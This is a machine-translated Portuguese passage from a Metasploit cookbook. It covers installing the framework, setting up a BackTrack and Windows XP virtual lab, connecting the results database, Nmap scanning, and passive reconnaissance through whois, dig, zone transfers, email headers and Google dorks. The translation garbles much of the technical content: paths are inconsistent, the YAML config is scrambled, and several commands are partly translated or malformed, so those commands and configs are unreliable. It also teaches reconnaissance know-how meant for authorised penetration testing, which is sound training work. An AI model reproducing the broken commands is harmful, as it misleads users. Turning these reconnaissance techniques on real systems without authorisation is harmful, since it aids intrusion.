Machine Translated by Google

Dicas rápidas do Metasploit para profissionais de segurança

Como funciona...
O processo de instalação demonstrado acima é um procedimento de instalação simples baseado no Ubuntu para quase
todos os softwares. Quando a instalação estiver concluída, você pode executar hash –r para recarregar seu caminho.

Este processo de instalação pode ser seguido em quase


todos os tipos e versões do Linux.

Tem mais...
Agora vamos falar sobre algumas outras opções, ou possivelmente algumas informações gerais que são relevantes
para esta tarefa.

Erro durante a instalação Pode haver


chances de o instalador não funcionar para você por algum motivo. Algumas versões do Ubuntu vêm com bibliotecas
quebradas da linguagem Ruby, o que pode ser um dos motivos da falha na instalação. Nesse caso, podemos instalar as
dependências separadamente executando os seguintes comandos:

Para instalar as dependências do Ruby, execute:

$ sudo apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby libiconv-ruby libreadline-ruby irb ri
rubygems

Para instalar o cliente Subversion, execute:

$ sudo apt-get install subversion

Para criar extensões nativas, execute:

$ sudo apt-get install build-essential ruby-dev libpcap-dev

12
Machine Translated by Google

Capítulo 1

Depois de instalar as seguintes dependências, baixe o metasploit Unix tarball da página oficial de
download do Metasploit e execute os seguintes comandos:

$ tar xf framework-4.X.tar.gz

$ sudo mkdir -p /opt/metasploit4

$ sudo cp -a msf4/ /opt/metasploit3/msf4

$ sudo chown root:root -R /opt/metasploit4/msf4

$ sudo ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/

Na execução bem-sucedida dos comandos anteriores, a estrutura estará funcionando para receber suas
instruções.

Metasploit com BackTrack 5 – a melhor combinação

O BackTrack é o sistema operacional mais popular para profissionais de segurança por dois motivos.
Em primeiro lugar, ele possui todas as ferramentas populares de teste de penetração pré-instaladas, o que
reduz o custo de uma instalação separada. Em segundo lugar, é um sistema operacional baseado em Linux que
o torna menos propenso a ataques de vírus e oferece mais estabilidade durante o teste de penetração. Ele
economiza seu tempo de instalação de componentes e ferramentas relevantes e quem sabe quando você pode
encontrar um erro desconhecido durante o processo de instalação.

Preparando-se
Você pode ter uma instalação separada do BackTrack em seu disco rígido ou também pode usá-lo em um
host em uma máquina virtual. O processo de instalação é simples e igual à instalação de qualquer sistema
operacional baseado em Linux.

Como fazer isso...


1. Ao inicializar o BackTrack OS, você será solicitado a inserir o nome de usuário e a senha.
O nome de usuário padrão para o usuário root é root e a senha é toor.

2. No login bem-sucedido, você pode trabalhar na linha de comando ou digitar startx para entrar no modo
GUI.

13
Machine Translated by Google

Dicas rápidas do Metasploit para profissionais de segurança

3. Você pode iniciar a estrutura Metasploit no menu Aplicativos ou


da linha de comando. Para iniciar o Metasploit no menu Aplicativos , vá para Aplicativos |
BackTrack | Ferramentas de Exploração | Ferramentas de Exploração de Rede | Metasploit
Framework, conforme mostrado na captura de tela a seguir:

4. Metasploit segue uma hierarquia de estrutura de diretório simples onde a pasta raiz é
pentest. O diretório se ramifica para /exploits/framework3. Para iniciar o Metasploit a partir da linha de
comando, inicie o terminal e digite o seguinte comando para ir para o diretório do Metasploit:

root@bt:~# cd /pentest/exploits/framework3
root@bt:/ pentest/exploits/framework3 ~# ./msfconsole

Como funciona...
Iniciar o Metasploit a partir da linha de comando seguirá o caminho completo para o msfconsole.
Iniciá-lo a partir do menu Aplicativo nos fornecerá acesso direto a diferentes UIs disponíveis para nós.

14
Machine Translated by Google

Capítulo 1

Configurando o laboratório de teste de penetração


em uma única máquina
Você sempre pode ter um laboratório de teste de penetração configurado usando várias máquinas e
também é considerado a configuração ideal. Mas e se você tiver uma emergência e precisar configurar
imediatamente um cenário de teste e tiver apenas uma única máquina? Bem, usar uma máquina virtual é a
resposta óbvia. Você pode trabalhar simultaneamente em mais de um sistema operacional e executar a tarefa
de teste de penetração. Então, vamos dar uma olhada rápida em como podemos configurar um laboratório de
teste de penetração em um único sistema com a ajuda de uma máquina virtual.

Preparando-se
Estaremos usando uma caixa virtual para configurar duas máquinas virtuais com os sistemas operacionais
BackTrack 5 e Windows XP SP2. Nosso sistema host é uma máquina Windows 7. Vamos precisar do instalador
da caixa virtual e de um arquivo de imagem ou um disco de instalação dos dois sistemas operacionais que
queremos configurar na máquina virtual. Portanto, nossa configuração completa consistirá em um sistema host
executando o Windows 7 com dois sistemas virtuais executando o BackTrack 5 e o Windows XP SP2,
respectivamente.

Como fazer isso...


O processo de instalação de uma máquina virtual é simples e autoexplicativo. Siga esses passos:

1. Depois de instalar a caixa virtual, crie uma nova máquina virtual. Selecione os
opções apropriadas e clique em Avançar. Você terá que fornecer um meio de instalação
para iniciar a configuração. A mídia pode ser um arquivo de imagem ou um disco de instalação.
Para obter um manual completo sobre uma máquina virtual e o procedimento de instalação, você
pode visitar o seguinte link:

http://www.virtualbox.org/manual/UserManual.html

2. Para um melhor desempenho da máquina virtual, é recomendável ter pelo menos 4 GB de RAM
disponível para um sistema operacional de 32 bits e 8 GB de RAM para 64 bits. Na próxima receita,
mostrarei uma maneira legal de reduzir o uso de memória ao executar várias máquinas virtuais.

3. Uma vez criada a máquina virtual (VM) , você pode usar a opção "clonar". Isso vai
crie uma cópia exata de sua VM para que, caso ocorra alguma falha em sua VM operacional, você
possa alternar para a VM clonada sem se preocupar em reinstalá-la. Além disso, você pode usar a
opção "snapshot" para salvar o estado atual da sua VM. O instantâneo salvará as configurações de
trabalho atuais de sua máquina virtual e você poderá voltar ao instantâneo salvo a qualquer momento
no futuro.

15
Machine Translated by Google

Dicas rápidas do Metasploit para profissionais de segurança

Como funciona...
Antes de iniciar suas máquinas virtuais, há uma configuração importante que teremos que fazer para que as duas máquinas
virtuais se comuniquem. Selecione uma das máquinas virtuais e clique em Configurações. Em seguida, vá para
Configurações de rede. No adaptador de rede, haverá um adaptador NAT pré-instalado para uso da Internet na máquina
host.
Em Adaptador 2, selecione Adaptador somente para host:

Siga este processo para ambas as máquinas virtuais. O motivo para configurar o adaptador somente host é fazer com que
as duas máquinas virtuais se comuniquem. Agora, para testar se está tudo bem, verifique o endereço IP da máquina virtual
do Windows digitando ipconfig no prompt de comando. Agora faça ping na máquina Windows (usando o endereço IP local
obtido do comando ipconfig ) da máquina BackTrack para ver se ela está recebendo os pacotes ou não. Siga o processo vice-
versa para verificar ambas as máquinas.

Tem mais...
Agora vamos falar sobre algumas outras opções, ou possivelmente algumas informações gerais, que são relevantes
para esta tarefa.

Desativando o firewall e a proteção antivírus Pode haver situações em que podemos

descobrir que, ao fazer o ping da máquina Windows a partir da máquina BackTrack, os pacotes não são recebidos. Isso
significa que a máquina Windows não está

16
Machine Translated by Google

Capítulo 1

vivo. Isso pode ser devido à configuração padrão do firewall do Windows. Portanto, desative a proteção do firewall e faça
ping novamente para ver se os pacotes estão sendo recebidos ou não. Além disso, desative qualquer firewall que possa
estar instalado na máquina virtual.

Instalando adições de convidado de caixa virtual Uma caixa virtual

fornece uma instalação adicional de complementos que podem melhorar sua experiência de uso virtual. Alguns de seus
principais benefícios são:

f Movimento contínuo do mouse do sistema operacional host para o sistema operacional virtual

f Integração automática do teclado ao sistema operacional virtual

f Melhor tamanho da tela

Para instalar as adições de convidados, ligue a máquina virtual, vá para a guia Dispositivo e clique em Instalar adições
de convidados.

Configurando o Metasploit em uma máquina


virtual com conectividade SSH
Na receita anterior, nos concentramos em configurar um laboratório de teste de penetração em uma única máquina com a
ajuda da virtualização. Mas pode haver sérios problemas de uso de memória ao usar várias máquinas virtuais. Então, aqui
vamos discutir uma técnica de conservação que pode ser muito útil em tempos difíceis.

Preparando-se
Tudo o que precisamos é de um cliente SSH. Usaremos o PuTTY, pois é o cliente SSH mais popular e gratuito disponível
para Windows. Vamos configurar uma conectividade SSH com a máquina Backtrack, pois ela consome mais memória do
que a máquina Windows XP.

Como fazer isso...


1. Começaremos inicializando nossa máquina virtual BackTrack. Ao chegar ao prompt de login, digite as credenciais
para iniciar a linha de comando. Agora não inicie a GUI. Execute qualquer um dos seguintes comandos:

root@bt:~# /etc/init.d/start ssh root@bt:~#


start ssh
Isso iniciará o processo SSH na máquina BackTrack.

17
Machine Translated by Google

Dicas rápidas do Metasploit para profissionais de segurança

2. Agora encontre o endereço IP da máquina digitando o seguinte comando:

root@bt:~# ifconfig

Anote este endereço IP.

3. Agora inicie o PuTTY no sistema operacional host. Digite o endereço IP da máquina virtual BackTrack e digite a
porta 22:

4. Agora clique em Abrir para iniciar a linha de comando. Se a conexão for bem-sucedida, você verá a linha de
comando PuTTY funcionando em nome da máquina BackTrack. Ele vai pedir para você fazer login. Digite as
credenciais e digite ifconfig para verificar se o IP é o mesmo do BackTrack virtual:

18
Machine Translated by Google

Capítulo 1

Como funciona...
Nesta sessão SSH, agora podemos interagir com a máquina virtual BackTrack usando PuTTY. Como a GUI não é
carregada, ela reduz o consumo de memória quase pela metade. Além disso, minimizar a máquina virtual BackTrack
reduzirá ainda mais o consumo de memória, pois o sistema operacional Windows fornece menos compartilhamento
de memória para os processos que são minimizados e fornece uma execução mais rápida das tarefas que estão
sendo executadas no modo maximizado. Isso reduzirá ainda mais o consumo de memória até certo ponto.

Começando com as interfaces – o "Olá


Mundo" do Metasploit
As interfaces fornecem um front-end para o usuário se comunicar com o software ou plataforma.
O Metasploit possui quatro interfaces: msfgui, msfweb, msfcli e msfconsole. É altamente recomendável que
você verifique todas as interfaces, mas aqui neste livro vamos nos concentrar principalmente na interface
msfconsole . É a interface mais poderosa e totalmente integrada entre todas.

19
Machine Translated by Google

Dicas rápidas do Metasploit para profissionais de segurança

Preparando-se
Inicialize seu sistema operacional no qual você instalou o Metasploit. Se você estiver usando em uma máquina virtual,
inicie-o.

Como fazer isso...

Iniciar o msfconsole é uma tarefa fácil. Siga esses passos:

1. Para um sistema operacional Windows, você pode iniciar o msfconsole acessando Iniciar | estrutura
metasploit | msfconsole.

2. Para BackTrack, você pode navegar até Aplicativos | Ferramentas de exploração | Ferramentas
de exploração de rede | Estrutura Metasploit | msfconsole.

3. Para iniciá-lo diretamente do terminal, adicione o seguinte comando:


root@bt:~# cd /pentest/exploits/framework3

4. O diretório de trabalho mudará para framework3. Entrando com o seguinte comando


iniciará nosso msfconsole:

root@bt:/ pentest/exploits/framework3# ./msfconsole

Agora, nossa interface msfconsole está funcionando e pronta para receber os comandos.

Como funciona...
As interfaces Metasploit estendem a biblioteca base que lhes permite evocar as funcionalidades
iniciais do framework. Comandos simples, como configurar exploits e payloads, executar atualizações e configurar o
banco de dados podem ser executados. Uma vez que o processo se aprofunda, as outras bibliotecas funcionais são
chamadas de acordo.

Tem mais...
Vamos adicionar algumas coisas adicionais que você pode executar neste estágio com a
interface msfconsole .

Alguns comandos para experimentar e começar


Aqui estão alguns comandos que você pode experimentar para explorar mais a fundo:

f msf > ls: O comando ls listará todos os diretórios e arquivos disponíveis.


Você pode navegar ainda mais fundo em outros diretórios para explorar mais.

20
Machine Translated by Google

Capítulo 1

f msf > help: Este comando irá listar todos os comandos disponíveis para o framework Metasploit
que podemos usar. Os comandos são categorizados em comandos principais e comandos
de back-end do banco de dados. O primeiro contém comandos que estão diretamente
relacionados ao framework, enquanto o último fornece comandos para interagir com o
banco de dados.

f msf > msfupdate: Este comando deve ser usado com frequência para atualizar a estrutura
com as últimas explorações, cargas úteis, bibliotecas e assim por diante.

Configurando o banco de dados no Metasploit


Uma característica importante do Metasploit é a presença de bancos de dados que você pode usar para armazenar seus
resultados de teste de penetração. Qualquer teste de penetração consiste em muitas informações e pode ser executado por
vários dias, portanto, torna-se essencial armazenar os resultados e descobertas intermediárias.
Portanto, uma boa ferramenta de teste de penetração deve ter integração de banco de dados adequada para armazenar
os resultados de forma rápida e eficiente.

Preparando-se
Metasploit vem com PostgreSQL como banco de dados padrão. Para a máquina BackTrack, temos mais uma opção - MySQL.
Você pode usar qualquer um dos dois bancos de dados. Vamos primeiro verificar as configurações padrão do banco de dados
PostgreSQL. Teremos que navegar para database.yml localizado em opt/framework3/config. Para fazer isso, execute o seguinte
comando:

root@bt:~# cd /opt/framework3/config
root@bt:/ opt/framework3/config# cat database.yml
produção:
adaptador: banco de dados
postgresql: msf3
nome de usuário: msf3
senha: 8b826ac0 host:
127.0.0.1
porta: 7175
pool: 75 tempo
limite: 5

Observe o nome de usuário padrão, senha e banco de dados padrão que foi criado.
Anote esses valores, pois eles serão necessários posteriormente. Você também pode alterar esses valores de
acordo com sua escolha.

Como fazer isso...


Agora nosso trabalho é conectar o banco de dados e começar a usá-lo. Vamos iniciar o msfconsole e ver como podemos
configurar os bancos de dados e armazenar nossos resultados.

21
Machine Translated by Google

Dicas rápidas do Metasploit para profissionais de segurança

Vamos primeiro verificar os drivers de banco de dados disponíveis.

msf > db_driver


[*]Driver ativo: postgresql
[*]Disponível: postgresql, mysql

O PostgreSQL é definido como o banco de dados padrão. Se você deseja alterar o driver do banco de dados, execute
o seguinte comando:

Msf> db_driver mysql


[*]Driver Ativo: Mysql

Isso mudará o driver ativo para MySQL. Neste livro, usaremos principalmente o PostgreSQL para demonstrações.

O Rapid7 abandonou o suporte para banco de dados MySQL nas


versões recentes do Metasploit, então o comando db_driver pode não funcionar.
O único driver padrão compatível com a estrutura nesse caso será o
PostgreSQL.

Como funciona...
Para conectar o driver ao msfconsle , usaremos o comando db_connect .
Este comando será executado usando a seguinte sintaxe:

db_connect username:password@hostIP:port number/database_name

Aqui usaremos os mesmos valores padrão de nome de usuário, senha, nome do banco de dados e número da
porta que acabamos de anotar no arquivo database.yml :

msf > db_connect msf3:8b826ac0@127.0.0.1:7175/ msf3

Na execução bem-sucedida do comando, nosso banco de dados está totalmente configurado.

Tem mais...
Vamos discutir alguns fatos mais importantes relacionados à configuração do banco de dados.

Obtendo um erro ao conectar o banco de dados Há chances de um erro ao tentar


estabelecer a conexão. Há duas coisas a ter em mente se ocorrer algum erro:

f Verifique os comandos db_driver e db_connect e certifique-se de


usando a combinação correta do banco de dados.

22
Machine Translated by Google

Capítulo 1

f Use start/etc/init.d para iniciar o serviço de banco de dados e tente conectá-lo.

Se o erro persistir, podemos reinstalar o banco de dados e as bibliotecas associadas usando os seguintes comandos:

msf> gem instalar postgres


msf> apt-get install libpq-dev

Excluindo o banco de dados A qualquer

momento, você pode descartar o banco de dados criado e começar novamente para armazenar novos resultados.
O seguinte comando pode ser executado para excluir o banco de dados:

msf> db_destroy msf3:8b826ac0@127.0.0.1:7175/ msf3


O banco de dados "msf3" caiu.
msf>

Usando o banco de dados para armazenar resultados


de testes de penetração
Vamos agora aprender como podemos usar nosso banco de dados configurado para armazenar nossos resultados
dos testes de penetração.

Preparando-se
Se você executou com sucesso a receita anterior, está tudo pronto para usar o banco de dados para armazenar os
resultados. Digite o comando help no msfconsole para dar uma olhada rápida nos importantes comandos de banco de
dados disponíveis para nós.

Como fazer isso...


Vamos começar com um exemplo rápido. O comando db_nmap armazena os resultados da varredura de porta diretamente no
banco de dados, juntamente com todas as informações relevantes. Inicie uma varredura simples do Nmap na máquina de destino
para ver como funciona:

msf > db_nmap 192.168.56.102


[*] Nmap: Iniciando o Nmap 5.51SVN ( http://nmap.org ) em 2011-10-04 20:03
É

[*] Nmap: Relatório de verificação do Nmap para 192.168.56.102


[*] Nmap: Host está ativo (latência de 0,0012s)
[*] Nmap: Não mostrado: 997 portas fechadas
[*] Nmap: PORT STATE SERVICE

23
Machine Translated by Google

Dicas rápidas do Metasploit para profissionais de segurança

[*] Nmap: 135/tcp abre msrpc


[*] Nmap: 139/tcp aberto netbios-ssn
[*] Nmap: 445/tcp aberto microsoft-ds
[*] Nmap: Endereço MAC: 08:00:27:34:A8:87 (Cadmus Computer Systems)
[*] Nmap: Nmap concluído: 1 endereço IP (1 host ativo) verificado em 1,94 segundos

Como podemos ver, o Nmap produziu os resultados da verificação e preencherá automaticamente o banco de
dados msf3 que estamos usando.

Também podemos usar o parâmetro –oX na varredura do Nmap para armazenar o resultado no formato XML. Isso
será muito benéfico para importarmos os resultados da verificação em outro software de terceiros, como o framework
Dardis, que analisaremos em nosso próximo capítulo.

msf > nmap 192.168.56.102 –A -oX relatório


[*] exec: nmap 192.168.56.102 –A -oX report
Iniciando o Nmap 5.51SVN ( http://nmap.org ) em 2011-10-05 11:57 IST
Relatório de verificação do Nmap para 192.168.56.102
O host está ativo (latência de 0,0032s)
Não mostrado: 997 portas fechadas
SERVIÇO DO ESTADO DO PORTO

135/tcp aberto msrpc 139/


tcp aberto netbios-ssn
445/tcp aberto microsoft-ds
Endereço MAC: 08:00:27:34:A8:87 (Cadmus Computer Systems)
Nmap concluído: 1 endereço IP (1 host ativado) verificado em 0,76 segundos

Aqui relatório é o nome do arquivo onde o resultado da varredura será armazenado. Isso será útil para nós em
receitas posteriores do livro.

Como funciona...
O comando db_nmap cria uma consulta SQL com várias colunas de tabela relevantes para os resultados da verificação.
Uma vez concluída a verificação, ela começa a armazenar os valores no banco de dados. A flexibilidade de armazenar
resultados na forma de planilhas torna mais fácil compartilhar os resultados localmente ou com ferramentas de terceiros.

Analisando os resultados armazenados do banco de dados


Depois de armazenar os resultados do teste no banco de dados, o próximo passo é analisá-lo. Analisar os dados
nos dará uma compreensão mais profunda de nossos sistemas de destino. Os resultados do banco de dados
podem ser mantidos por um longo período ou por um curto período de armazenamento, dependendo do uso.

24
Machine Translated by Google

Capítulo 1

Preparando-se
Inicie o msfconsole e siga as etapas mencionadas na receita anterior para estabelecer a conectividade do
banco de dados. Podemos usá-lo para armazenar novos resultados ou analisar os resultados armazenados
anteriormente também. O arquivo XML para a varredura do Nmap criado na receita anterior pode ser
importado para analisar os resultados da varredura anterior.

Como fazer isso...


Vamos analisar alguns dos comandos importantes para ter uma compreensão mais clara dos resultados
armazenados:

f msf > hosts: Este comando mostrará todos os hosts disponíveis no


base de dados. Vamos analisar a saída deste comando:

A captura de tela anterior reflete a saída do comando hosts.


Como podemos observar, o resultado deste comando não é muito limpo, pois há muitas colunas
na tabela. Assim, podemos avançar e adicionar filtros e visualizar apenas as colunas que nos
interessam, conforme ilustrado pelo seguinte comando :

msf > hosts -c endereço, os_name

Anfitriões
=====

endereço os_name
25
Machine Translated by Google

Dicas rápidas do Metasploit para profissionais de segurança

------- ÿÿÿÿ
------

192.168.56.1
192.168.56.101
192.168.56.102MicrosoftWindows
192.168.56.103Linux

f msf > services: Este é outro comando interessante que pode nos fornecer informações úteis sobre os
diferentes serviços em execução nas máquinas de destino:

msf > serviços

Serviços
========

host porta proto nome estado informações


---- ÿÿÿÿÿÿÿ ---- ----- ---- ----- ÿ
----

192.168.56.101 111 tcp rpcbind aberto 192.168.56.102 135 tcp msrpc aberto
192.168.56.102 139 tcp netbios-ssn aberto 192.168.56.102 445 tcp microsoft-ds aberto
192.168.56.102 tcp microsoft-ds aberto 192.168.56.102 tcp msrpc mmicrosoft.

f msf > vulns: Este comando lista todas as vulnerabilidades existentes nos hosts presentes
no banco de dados.

f msf > db_autopwn: Este é um comando poderoso usado para automatizar o


processo de exploração das máquinas-alvo que estão disponíveis no banco de dados. Este comando
requer mais compreensão sobre o processo de exploração, então analisaremos este comando mais
tarde.

Como funciona...
O processo de análise é simples e pode ser facilmente filtrado para obter os resultados desejados. Vimos como ler
a saída do banco de dados e como podemos gerenciá-la com eficiência. Os dois últimos comandos, vulns e
db_autopwn , são comandos pós-exploração, dos quais trataremos em capítulos posteriores.

26
Machine Translated by Google

Coleta e digitalização de
2
informações
Neste capítulo, abordaremos:

f Coleta passiva de informações 1.0 – a forma tradicional

f Coleta passiva de informações 2.0 – o próximo nível f Varredura

de portas – o jeito Nmap

f Explorando módulos auxiliares para escaneamento

f Rastreamento de serviço de destino com módulos auxiliares

f Rastreamento de vulnerabilidade com Nessus

f Digitalizando com o NeXpose

f Compartilhamento de informações com a estrutura Dradis

Introdução

A coleta de informações é o primeiro passo básico para o teste de penetração. Esta etapa é realizada para
descobrir o máximo possível de informações sobre a máquina de destino. Quanto mais informações tivermos,
melhores serão nossas chances de explorar o alvo. Durante a fase de coleta de informações, nosso foco principal
é coletar fatos sobre a máquina alvo, como endereço IP, serviços disponíveis, portas abertas. Esta informação
desempenha um papel vital no processo de teste de penetração. Existem basicamente três tipos de técnicas
usadas na coleta de informações.

f Coleta passiva de informações

f Coleta ativa de informações

f Engenharia social
Machine Translated by Google

Coleta e digitalização de informações

Vamos dar uma olhada rápida nesses processos:

f Coleta passiva de informações: Esta técnica é usada para obter informações sobre o alvo sem
ter nenhuma conectividade física ou acesso a ele. Isso significa que usamos outras fontes para
obter informações sobre o alvo, como usar a consulta whois , Nslookup e assim por diante.
Suponha que nosso alvo seja um aplicativo da web online, então uma simples pesquisa whois
pode nos fornecer muitas informações sobre o aplicativo da web, como seu endereço IP, seus
domínios e subdomínios, localização do servidor, servidor de hospedagem e assim por diante.
Esta informação pode ser muito útil durante o teste de penetração, pois pode ampliar nossa
trilha de exploração do alvo.
f Coleta ativa de informações: Nesta técnica, uma conexão lógica é estabelecida com
alvo para obter informações. Essa técnica nos fornece o próximo nível de informação que pode
nos complementar diretamente na compreensão da segurança alvo.
Escaneamento de portas; o alvo é a técnica de varredura ativa mais amplamente usada, na
qual focamos nas portas abertas e nos serviços disponíveis em execução no alvo. f Engenharia
social: esse tipo de coleta de informações é semelhante à
coleta de informações, mas depende de erro humano e informações vazadas na forma de
impressões, conversas telefônicas ou IDs de e-mail incorretos e assim por diante.
As técnicas para utilizar este método são numerosas e o ethos da coleta de informações é
muito diferente, portanto, a engenharia social é uma categoria em si. Por exemplo, os hackers
registram nomes de domínio que soam semelhantes com erros de ortografia e configuram um
servidor de correio para receber esses e-mails errados. Tais domínios são conhecidos como
Domínios Doppelganger, ou seja, o gêmeo do mal.

Neste capítulo, analisaremos em detalhes as várias técnicas passivas e ativas de coleta de


informações. Nas duas receitas iniciais, analisaremos as técnicas mais comumente usadas e
negligenciadas de coleta passiva de informações e, em receitas posteriores, focaremos na obtenção
de informações por meio da varredura de portas. O Metasploit possui vários recursos de varredura
integrados, bem como algumas ferramentas de terceiros integradas a ele para aprimorar ainda mais o
processo de varredura de portas. Analisaremos os scanners embutidos, bem como alguns dos
populares scanners de terceiros que funcionam na estrutura do Metasploit. Passemos às receitas e
iniciemos nosso processo de obtenção de informações sobre nosso alvo.

Coleta passiva de informações 1.0 – a


maneira tradicional
Vamos lidar com algumas das técnicas mais comumente usadas para coleta de informações.

28
Machine Translated by Google

Capítulo 2

Preparando-se
whois, Dig e Nslookup são as três etapas mais básicas e simples para obter informações
iniciais sobre nosso alvo. Como ambas são técnicas passivas de obtenção de informações,
nenhuma conectividade com o alvo é necessária. Esses comandos podem ser executados
diretamente do terminal do BackTrack. Então, abra a janela do terminal e prossiga.

Como fazer isso...


Começaremos nossa coleta de informações com uma simples pesquisa de whois . whois é um comando
embutido no BackTrack para que possamos invocá-lo diretamente de nosso terminal.

Vamos realizar rapidamente uma pesquisa whois em www.packtpub.com e analise a saída.


A saída pode ser grande, então aqui vamos focar apenas nos pontos relevantes da saída.

root@bt:~# whois www.packtpub.com


Nome de domínio: PACKTPUB.COM

Registrador: EASYDNS TECHNOLOGIES, INC.

Servidor Whois: whois.easydns.com

URL de referência: http://www.easydns.com


Servidor de nomes: NS1.EASYDNS.COM

Servidor de nomes: NS2.EASYDNS.COM

Servidor de nomes: NS3.EASYDNS.ORG

Servidor de nomes: NS6.EASYDNS.NET

Servidor de nomes: REMOTE1.EASYDNS.COM

Servidor de nomes: REMOTE2.EASYDNS.COM

Status: clientTransferProhibited

Status: clientUpdateProhibited

Data de atualização: 09 de fevereiro de 2011

Data de criação: 09 de maio de 2003

Data de vencimento: 09 de maio de 2016

Aqui, podemos ver que uma simples pesquisa whois revelou algumas informações sobre o site de
destino. As informações incluem o servidor DNS, data de criação, data de expiração e assim por diante.
Como essa informação foi coletada de uma fonte diferente do alvo, ela é chamada de técnica passiva de
coleta de informações.

29
Machine Translated by Google

Coleta e digitalização de informações

A outra maneira de obter informações passivamente pode ser consultando os registros DNS. A técnica mais comum
é usar o comando dig , que vem por padrão em máquinas Unix. Vamos analisar uma consulta dig em
www.packtpub.com.

root@bt:~# dig www.packtpub.com ; <<>> DiG 9.7.0-P1


<<>> www.packtpub.com ;; opções globais: +cmd ;; Resposta obtida: ;;
->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1583 ;; bandeiras:
qr rd ra; PERGUNTA: 1, RESPOSTA: 2, AUTORIDADE: 6, ADICIONAL: 1

;; SEÇÃO DE
PERGUNTAS: ;www.packtpub.com. EM UM

;; SEÇÃO DE RESPOSTA:

www.packtpub.com. 1200 IN CNAME packtpub.com. packtpub. com.


1200 IN A 83.166.169.228

;; SEÇÃO DE AUTORIDADE:

packtpub. com. packtpub. 1200 IN NS remote1.easydns.com.


com. packtpub. com. 1200 IN NS ns2.easydns.com.
packtpub. com. packtpub. 1200 IN NS ns6.easydns.net.
com. packtpub. com. 1200 IN NS ns3.easydns.org.
1200 IN NS ns1.easydns.com.
1200 IN NS remote2.easydns.com.

;; SEÇÃO ADICIONAL: ns3.easydns.org.


5951 EM A 64.68.192.10

Consultar os registros DNS revelou mais algumas informações sobre o alvo. dig pode ser usado para resolver os
nomes de hosts em endereços IP e, ao contrário, resolver endereços IP em nomes. Além disso, dig também pode
ser usado para coletar informações de versão de servidores de nomes que podem ser usados para ajudar na
exploração do host. Como podemos ver na saída, é difícil identificar o DNS primário ou, em alguns casos, o servidor
de correio primário ou o servidor de hospedagem de arquivos e assim por diante. É aqui que o Nslookup entra em
cena. O Nslookup é quase tão flexível quanto o dig, mas fornece um método padrão mais simples de identificar
hosts primários, como servidores de correio e DNS.

root@bt:~# nslookup www.packtpub.com Servidor: 220.226.6.104

Endereço: 220.226.6.104#53

Resposta não autorizada:


www.packtpub.com nome canônico = packtpub.com.
Nome: packtpub.com Endereço:
83.166.169.228

30
Machine Translated by Google

Capítulo 2

O Nslookup revelou mais informações sobre o alvo, como seu endereço IP, IP do servidor e assim por diante. Essas
técnicas passivas podem revelar algumas informações interessantes sobre o alvo e podem facilitar nosso caminho para
testes de penetração.

Como funciona...
dig pode ser usado para localizar os registros SPF (Sender Policy Framework). Os registros SPF são
aqueles registros que definem a política de envio de e-mails do domínio, ou seja, quais servidores são
responsáveis pelo envio de e-mails em seu nome. Registros SPF incorretos sempre resultarão em e-
mails de phishing/spam.

Os registros SPF são publicados em formato de texto. Os registros SPF são responsáveis por garantir
que os usuários registrados de um determinado domínio ou parceiros, de um determinado domínio, não
sejam atacados por e-mails de phishing. As informações coletadas da consulta dig podem nos ajudar a
determinar tais problemas em nosso destino.

Tem mais...
Vamos cobrir mais coisas sobre a coleta passiva de informações.

Usando sites de terceiros Usamos o


comando embutido para consultar nosso alvo e obter informações.
Existe uma técnica igualmente boa de realizar operações semelhantes usando sites, especialmente
dedicados a essas pesquisas. Esses sites também podem fornecer informações sobre a localização
geográfica, número de contato, e-mails administrativos e assim por diante.

Alguns links úteis são:

http://who.is

http://www.kloth.net

Coleta passiva de informações 2.0 – o próximo


nível
Todo profissional de segurança está ciente das técnicas de coleta de informações discutidas na receita
anterior. Mas existem algumas técnicas que os analistas negligenciam por causa de sua popularidade e
consciência reduzidas, mas podem produzir resultados tão bons quanto as técnicas anteriores. As técnicas
que discutiremos aqui envolverão uma análise mais profunda de nosso alvo, embora ainda estejamos usando
uma técnica passiva. Essas técnicas não requerem o uso do Metasploit, mas como a coleta de informações é
um campo importante para testes de penetração, discutiremos isso aqui.

31
Machine Translated by Google

Coleta e digitalização de informações

Preparando-se
Vamos entender três técnicas aqui nesta receita:

f Transferência de zona: Pode ser realizada através do terminal. f

Cabeçalho SMTP: Para esta técnica, vamos exigir um e-mail que é enviado pelo alvo para o testador de
penetração.

f Google idiota: Esta é uma técnica simples, mas útil, de obter informações por meio de
um motor de busca.

Vamos começar com a transferência de zona.

Como fazer isso...


A transferência de zona é um método especial usado pelo servidor DNS para trocar registros de autoridade
de um domínio entre vários servidores. Este método é responsável por transferir listas em massa de informações
de domínio entre servidores primários e secundários. Um servidor DNS mal configurado pode responder à
consulta do cliente e fornecer informações sobre o domínio consultado.

Considere o seguinte exemplo em que uma consulta dig @ns1.example.com example.com axfr retorna uma
lista de endereços IP e seus nomes de host correspondentes:

32
Machine Translated by Google

Capítulo 2

Esta consulta identificou dez nomes de host, dos quais oito hosts exclusivos pertencem a example.com.
Podemos ver que os nomes de host são descritivos o suficiente para dar uma compreensão clara sobre o
tipo de serviço que está sendo executado.

A análise do cabeçalho SMTP pode ser outra fonte potencial de coleta de informações sobre o destino. Ele pode
nos fornecer informações sobre o servidor de correio, seu endereço IP, versão e assim por diante. A única
desvantagem desse método é que precisamos de um e-mail enviado do local de destino para analisá-lo. A captura
de tela a seguir mostra a parte do cabeçalho de um e-mail enviado do destino.

A análise cuidadosa do cabeçalho mostra que o endereço IP do servidor de correio é


83.166.169.248. O servidor de correio usa o serviço ESMTP e o usuário usa o serviço IMAP. Esta
informação adicional pode ser muito útil para explorar ainda mais o alvo.

A última técnica é usar idiotas do Google. Este método pode funcionar apenas em alguns casos, mas vale a
pena experimentá-lo, pois você nunca sabe quais informações secretas ele pode revelar. Muitas vezes os
crawlers do Google chegam a determinados arquivos ou documentos que estão armazenados no servidor de
destino para uso interno, mas devido ao acesso à internet; o rastreador indexa o documento nos resultados da
pesquisa. Nesse caso, podemos procurar esses arquivos usando alguns truques de pesquisa do Google. A
combinação de site e tipo de arquivo nos resultados da pesquisa pode revelar algumas coisas interessantes.

33
Machine Translated by Google

Coleta e digitalização de informações

Por exemplo, execute as seguintes consultas de pesquisa no Google:

f www.target .com tipo de arquivo: xls


f www.target.com tipo de arquivo:pdf
f site:www.target.com tipo de arquivo:db
Da mesma forma, podemos tentar várias combinações diferentes para descobrir os resultados da pesquisa do Google.

Como funciona...
A consulta dig basicamente retorna os dados fornecidos pelo IP ou proprietário do domínio enquanto ele
